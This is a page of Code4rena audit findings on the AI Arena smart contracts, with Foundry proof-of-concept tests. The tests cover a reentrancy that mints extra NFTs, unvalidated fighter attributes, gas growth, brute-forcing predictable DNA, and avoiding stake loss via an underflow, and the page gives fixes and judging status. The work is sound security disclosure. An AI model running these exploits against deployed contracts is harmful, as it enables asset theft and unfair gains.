Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L529
A user could re-enter claimRewards
and mint more fighters than intended if they win in more than 1 round
.
When rewards are claimed from the MergingPool
the call to _fighterFarmInstance.mintFromMergingPool
is invoked.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { ... uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( <- HERE msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); ... } } } ... }
This will process the fighter data and mint a fighter to the caller with the use of _safeMint
function. This can be taken advantage of if the user wins in more than one round.
Let's assume the following state
numRoundsClaimed[msg.sender] = 0 roundId = 10 user won in round 2 user won in round 5
The user (smart contract in this case) calls the claimRewards
to claim the 2 tokens that he won.
The numRoundsClaimed
variable will be increased every round that is processed (regardless if the user won or not). When the for loop reaches the currentRound = 2
the numRoundsClaimed[msg.sender]
will also be set to 2
.
This will invoke the mintFromMergingPool
call (as the caller won in this round) which further invokes _safeMint
, which invokes a callback on the caller. The caller could execute any logic in the onERC721Received
callback on his contract. He decides to call the claimRewards
again.
This time the for loop will start at lowerBound
= numRoundsClaimed[msg.sender]
= 2
and proceed until the latest roundId
(10) and in process claim the fighter won in round 5
.
This will then return the execution flow back to the original call and continue the for loop (remember that we were at i = 2
before the _safeMint
call). This for loop then again proceeds until the latest roundId
(10) and mints another fighter when it reaches round 5
.
If the user won more rounds he could mint even more fighters.
Add this test to MergingPool.sol
, add import "forge-std/console.sol";
and run with forge test --match-path ./test/MergingPool.t.sol -vvv
. Replace the existing onERC721Received
function in the test file with the one provided below.
This demonstrates that a user can mint 3 fighters
when in fact he only won 2
.
// STATE VARIABLE bool enableFallback = false; function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { // This variable is used to only execute this logic on the first mint callback. if(enableFallback) { enableFallback = false; // This can be whatever string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // This can be whatever string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; // This can be whatever uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); // Reenter the claimRewards function _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); } // Handle the token transfer here return this.onERC721Received.selector; } function testReenterMintFromMergingPool() public { address player = address(this); address player2 = vm.addr(3); _mintFromMergingPool(player); _mintFromMergingPool(player2); assertEq(_fighterFarmContract.ownerOf(0), player); assertEq(_fighterFarmContract.ownerOf(1), player2); enableFallback = true; // Winners for the round uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // Player won in round 0 _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); // Check winners assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true); assertEq(_mergingPoolContract.winnerAddresses(0, 1) == player2, true); // This can be whatever string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // This can be whatever string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; // This can be whatever uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); // Player won in round 1 _mergingPoolContract.pickWinner(_winners); // Player now claims rewards and reenters the claimRewards function on // the onERC721Received callback _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // He now owns 3 extra tokens ... note that token 0 is owned by the player before the claimRewards function // is called. It is needed so the nft can be selected as a winner. In total he minted 3 new NFTs instead // of 2. assertEq(_fighterFarmContract.ownerOf(0), player); assertEq(_fighterFarmContract.ownerOf(2), player); assertEq(_fighterFarmContract.ownerOf(3), player); assertEq(_fighterFarmContract.ownerOf(4), player); }
Manual review
Use a nonReentrant
modifier on the claimRewards
function.
Reentrancy
#0 - c4-pre-sort
2024-02-22T09:21:04Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T09:21:14Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:44:38Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154-L158 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L502-L506
A user could set arbitrary values for element
or weight
when calling claimRewards
from a merging pool. It could allow a user to set any value as an element or weight, which could cause serious calculation issues when playing a game. If the max allowed weight is eg. 100, a user could set it to 200 and gain an advantage over other players as he can not be knocked back as much because of the heavier weight.
The user won an nft from the merging pool and calls claimRewards
to mint a new fighter that he won. As you can see there is no limit to the customAttributes
value and can be arbitrarily chosen by a user. The customAttributes
are then passed into a mintFromMergingPool
call.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { ... for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( <- HERE msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
This call also has no validation on the customAttributes
and creates a new fighter with given attributes
function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); }
Since the value of customAttributes[0] != 100
it will set the element and weight to the customAttributes provided by a user that mints the nft. The user could provide values greater than 100 and use it as weight or element, which should not be the case.
function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { ... if (customAttributes[0] == 100) { ... } else { element = customAttributes[0]; <- HERE weight = customAttributes[1]; <- HERE newDna = dna; } ... }
Add test to the MergingPool.t.sol
and run with forge test --match-path ./test/MergingPool.t.sol -vvv
function testSetArbitraryElements() public { address player = vm.addr(4); address player2 = vm.addr(5); _mintFromMergingPool(player); _mintFromMergingPool(player2); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // Set winners of round 0 _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true); // This can be whatever string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // This can be whatever string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; // This can be set to an unsupported values uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = uint256(150); _customAttributes[0][1] = uint256(150); vm.prank(player); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // Element and weight are now indeed set to unsupported values. (uint256 weight, uint256 element, , , , , , ,) = _fighterFarmContract.fighters(2); assertEq(weight == 150, true); assertEq(element == 150, true); }
Manual review
In _createNewFighter
revert if the customAttribute[0]
or customAttribute[1]
is greater than the allowed values.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T09:09:37Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T09:09:46Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:30:10Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
claimRewards
call will get more expensive for new winners with each passing round which wastes funds from the users and potentially causes DOS
in a very distant future.
The claimRewards
reads from storage in every iteration of the for loop multiple times. This increases gas consumption with each passing round. This gas consumption will increase for new users where numRoundsClaimed[msg.sender]
= 0.
// STORAGE READ(roundId) for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; <- STORAGE READ winnersLength = winnerAddresses[currentRound].length; <- STORAGE READ for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { <- STORAGE READ _fighterFarmInstance.mintFromMergingPool( <- STORAGE READ msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } }
Add this test to MergingPool.t.sol
, add import "forge-std/console.sol";
and run with forge test --match-path ./test/MergingPool.t.sol -vvv
function testInreasingGasUsage() public { address player = vm.addr(4); address player2 = vm.addr(5); _mintFromMergingPool(player); _mintFromMergingPool(player2); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true); string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); // Claim rewards uint256 gasBefore = gasleft(); vm.prank(player); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); uint256 gasAfter = gasleft(); uint256 gasUsed = gasBefore - gasAfter; console.log("Gas userd in round 0 :", gasUsed); // Increase round count for(uint i = 0; i < 200; i++) { _mergingPoolContract.pickWinner(_winners); } // New winner after 200 rounds address player3 = vm.addr(6); _mintFromMergingPool(player3); _winners[0] = 3; _mergingPoolContract.pickWinner(_winners); // Claim rewards gasBefore = gasleft(); vm.prank(player3); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); gasAfter = gasleft(); gasUsed = gasBefore - gasAfter; console.log("Gas userd in round 200:", gasUsed); }
[PASS] testInreasingGasUsage() (gas: 21924097) Logs: Gas userd in round 0 : 395114 Gas userd in round 200: 842232
Manual review
Consider using a mapping that indicates at which rounds the winner won the rewards and only loop through that.
DoS
#0 - c4-pre-sort
2024-02-24T00:06:49Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T00:07:02Z
raymondfam marked the issue as duplicate of #1541
#2 - c4-judge
2024-03-11T13:01:37Z
HickupHH3 marked the issue as duplicate of #216
#3 - c4-judge
2024-03-12T02:37:06Z
HickupHH3 marked the issue as partial-50
#4 - c4-judge
2024-03-21T03:00:11Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L107
Users can game DNA to select certain attributes for their fighter. Users could obtain a rare attribute, which is unfair to other players.
Every time a _createNewFighter
is called, dna is passed into the function call (the second parameter)
There are 3 _createNewFighter
calls total in the FighterFarm
contract. Here is how they calculate the DNA.
1.) Call from claimFighters
_createNewFighter( ... uint256(keccak256(abi.encode(msg.sender, fighters.length))), <-DNA ... );
2.) Call from redeemMintPass
_createNewFighter( ... uint256(keccak256(abi.encode(mintPassDnas[i]))), <-DNA ... );
3.) Call from mintFromMergingPool
_createNewFighter( ... uint256(keccak256(abi.encode(msg.sender, fighters.length))), <-DNA ... );
As we can see the DNA parameter is not random and can be known in advance before the function call that will mint a new fighter executes.
The DNA is used in the createPhysicalAttributes
to calculate "random" probabilities for the attributes.
The rarity rank of each attribute is calculated as follows. We can see that if we can select our own DNA we can get the desired rarityRank for an attribute.
uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
If we refer to the three calls from above we can see that we can keep changing the msg.sender
in call 1 and call 3 to get a different DNA and calculate rarityRank
for desired attributes off-chain, then if the dna matches out desired attributes we can use it to mint a fighter. In call 2 it can be done even easier as the user chooses his own mintPassDna
.
This can be done to forcefully get the "rare" attributes for your fighter. Of course, matching all 6 attributes could be pretty intensive on the processing power but 1 element (with a probability of 1) can be matched with 0 effort.
Add this test to the AiArenaHelper.t.sol
, add import import "forge-std/console.sol";
and run with forge test --match-path ./test/AiArenaHelper.t.sol -vvv
function getRarityRanks(uint256 dna) public returns(uint256[] memory){ uint8[6] memory defaultAttributeDivisor = [2, 3, 5, 7, 11, 13]; string[6] memory attributes = ["head", "eyes", "mouth", "body", "hands", "feet"]; uint256[] memory rarityRanks = new uint256[](6); for(uint j = 0; j < defaultAttributeDivisor.length; j++) { rarityRanks[j] = (dna / defaultAttributeDivisor[j]) % 100; } return rarityRanks; } function testPredictDNA() public { uint256 fightersLength = _fighterFarmContract.totalSupply(); // DNA that matches our desired attributes. uint bestDna = 0; for(uint256 i = 100; i < 100000; i++) { // Just change the msg.sender in the dna hash uint256 dna = uint256(keccak256(abi.encode(address(uint160(i)), fightersLength))); uint256[] memory rarityRanks = new uint256[](6); rarityRanks = getRarityRanks(dna); // 32 is the desired rarity rank for attribute[0]. Could be anything or even a range. if(rarityRanks[0] == 32){ bestDna = dna; break; } } console.log(bestDna); }
Manual review
To avoid the predictability of the DNA a random number has to be used that is not known in advance. This could be implemented using a Chainlink VRF.
Other
#0 - c4-pre-sort
2024-02-24T01:55:23Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:55:36Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:52:25Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-22T04:21:50Z
HickupHH3 marked the issue as duplicate of #376
π Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L479-L490 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L252-L264 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545
The user could achieve a state where he has amountStaked > 0
and fighterStaked = false
. This could allow him to transfer the nft to another address. Taking advantage of another vulnerability that arises from transferring the fighter NFT to another address he could reach a state where it is impossible to lose any stake. He could stake as much as he wants and not be afraid of losing any stake as it will fail.
The hacker would need to use two addresses for this exploit to work. The addresses are labeled as "hacker" and "hacker2" in the POC.
Hacker starts off with a stake
of 1 NRN
token (could be anything that he is willing to lose). His first main goal is to lose and put some amount of NRN tokens at risk.
Now when he loses something, he can unstake everything that he has remaining. This is needed to achieve the following state.
amountStaked[tokenId] = 0; stakeAtRisk[roundId][tokenId] = X; // where X > 0 fighterStaked[tokenId] = false;
Now his main goal is that until the end of a round, he reclaims a part of the stake and keeps it.(eg. > 0 stake
to reclaim
). This will set amountStaked[tokenId] > 0
. After the new round is started we have the following state
amountStaked[tokenId] = X; // where X > 0, the part of stake he reclaimed in the previous round stakeAtRisk[roundId][tokenId] = 0; fighterStaked[tokenId] = false;
Ooops. The hacker just achieved the state where he has amountStaked > 0
and fighterStaked
set to false
meaning he can transfer the NFT to another address. Keep in mind that the amountStaked
is not round dependent and is carried over to the next round.
Now the main goal of the hacker is again to win at least once. He has to win in a new round in order to have a following state. Let's assume he wins 1500 points
.
The state is as follows:
accumulatedPointsPerFighter(tokenId, roundId) = 1500; accumulatedPointsPerAddress(hacker, roundId) = 1500;
Everything is fine here but let's see what happens on nft transfer. He then proceeds to transfer the NFT to another address(hacker2)
as he is allowed because fighterStaked[tokenId] = false
;
function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && !fighterStaked[tokenId] ); }
The fighter NFT is successfully transferred
to a new address (hacker2) which has the following state.
accumulatedPointsPerFighter(tokenId, roundId) = 1500; accumulatedPointsPerAddress(hacker2, roundId) = 0;
The points added to the tokenId
are still 1500
but the points for the owner of the nft
are 0 because the nft got transferred from hacker
to hacker2
.
The hacker will now proceed to stake a large amount of NRN tokens on which he can earn rewards on. The current state allows a hacker to win but never to lose a part of his stake (he could still lose any new point accumulated during the round). He cannot lose a part of the stake as when a loss occurs first the points are subtracted from the tokenId if it has any, which in our case it does.
else if (battleResult == 2) { ... if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; <- THIS UNDERFLOWS totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { ... } }
As we can see there is a check if (points > accumulatedPointsPerFighter[tokenId][roundId])
which will limit the points to the amount that the fighter has accumulated in the round which is 1500
. It will continue to subtract the points from the two mappings, but subtracting from the accumulatedPointsPerAddress
mapping will revert as its value is 0.
Add test to RankedBattle.t.sol
and run with forge test --match-path ./test/RankedBattle.t.sol -vvv
function testAvoidLossTransfer() public { /* The user in this POC is needed so the owner can start a new round which requires totalAccumulatedPoints[roundId] > 0. This should naturally be the case as other users besides the hacker are using the protocol. The user wins and loses can be ignored in this POC. They are just needed for the totalAccumulatedPoints[roundId] to be greater than 0 when starting a new round. */ address hacker = vm.addr(3); address user = vm.addr(4); address hacker2 = vm.addr(5); // Mint some NRN tokens to hacker and hacker2 addresses _fundUserWith4kNeuronByTreasury(hacker2); _fundUserWith4kNeuronByTreasury(hacker); // Mint nft to the hacker _mintFromMergingPool(hacker); // Mint some NRN tokens and a nft to the user _fundUserWith4kNeuronByTreasury(user); _mintFromMergingPool(user); uint256 stakeAmount = 1 * 10 ** 18; uint256 stakeAmount2 = 3000 * 10 ** 18; uint256 userStake = 150 * 10 ** 18; // tokenId 0 is owned by the hacker uint256 tokenId = 0; // tokenId 1 is owned by the user uint256 tokenIdUser = 1; uint256 roundId = 0; uint8 win = 0; uint8 loss = 2; // Hacker stakes something small that he doesn't care about losing. // In this case 1 NRN token vm.prank(hacker); _rankedBattleContract.stakeNRN(stakeAmount, tokenId); // User also stakes some tokens vm.prank(user); _rankedBattleContract.stakeNRN(userStake, tokenIdUser); // Hacker losses vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, loss, 1500, true); // User wins vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenIdUser, 50, win, 1500, true); uint256 amountStaked = _rankedBattleContract.amountStaked(tokenId); // Unastake everything to set amountStaked to 0 and fighterStaked to false vm.prank(hacker); _rankedBattleContract.unstakeNRN(amountStaked, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 0); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); /* Try to win and regain stake by winning, just need to reclaim > 0 stake. No need to reclaim everything. */ // User Wins vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, win, 1500, true); // At this point the hacker has amountStaked > 0 but fighterStaked is false assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // The new round is started by the admin _rankedBattleContract.setNewRound(); // Only for internal accounting roundId += 1; /* At this point, the hacker still has amountStaked > 0 but fighterStaked is false even though the new round started. The amountStaked is not dependent on the roundId */ assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // Hacker wins in a new round vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 0, win, 1500, true); /* He has to win in a new round in order to have a following state. Let's assume he wins 1500 points in the call above. The state is as follows: accumulatedPointsPerFighter(tokenId, roundId) = 1500; accumulatedPointsPerAddress(hacker, roundId) = 1500; Everything is fine here but let's see what happens on nft transfer */ assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId) > 0, true); assertEq(_rankedBattleContract.accumulatedPointsPerAddress(hacker, roundId) > 0, true); // Keep in mind the fighter is still unstaked while having amountStaked > 0 and accumulatedPoints > 0 assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // Transfer nft to hacker2 assertEq(_fighterFarmContract.ownerOf(tokenId), hacker); vm.prank(hacker); _fighterFarmContract.transferFrom(hacker, hacker2, tokenId); // Check if the transfer is successful assertEq(_fighterFarmContract.ownerOf(tokenId), hacker2); /* The state now is as follows: accumulatedPointsPerFighter(tokenId, roundId) = 1500; accumulatedPointsPerAddress(hacker2, roundId) = 0; The points added to the tokenId are still 1500 but the points for the owner of the nft are 0 because the nft got transferred from hacker to hacker2. */ assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId) > 0, true); assertEq(_rankedBattleContract.accumulatedPointsPerAddress(hacker2, roundId) == 0, true); // Hacker now stakes a lot of NRN tokens as he can not possibly lose the stake // because of the underflow vm.prank(hacker2); _rankedBattleContract.stakeNRN(stakeAmount2, tokenId); /* Now when he loses it will fail because of substracting points accumulatedPointsPerAddress(hacker2, roundId) == 0 But the updateBattleRecord would want to substract points from 0 which reverts. */ vm.expectRevert(); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 0, loss, 1500, true); // Hacker2 can still win and earn points. He can now only make a profit. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 0, win, 1500, true); }
Manual review
Update the staking status to true if the user reclaims a part of the stake and the current staking status is false. This will prevent transferring the nft in such cases.
if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; + if(_fighterFarmInstance.fighterStaked(tokenId) == false && amountStaked[tokenId] > 0) { + _fighterFarmInstance.updateFighterStaking(tokenId, true); + } }
Other
#0 - c4-pre-sort
2024-02-25T04:02:36Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T04:02:52Z
raymondfam marked the issue as duplicate of #833
#2 - c4-judge
2024-03-13T10:12:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-13T11:32:46Z
HickupHH3 marked the issue as duplicate of #1641
#4 - c4-judge
2024-03-14T06:23:53Z
HickupHH3 marked the issue as satisfactory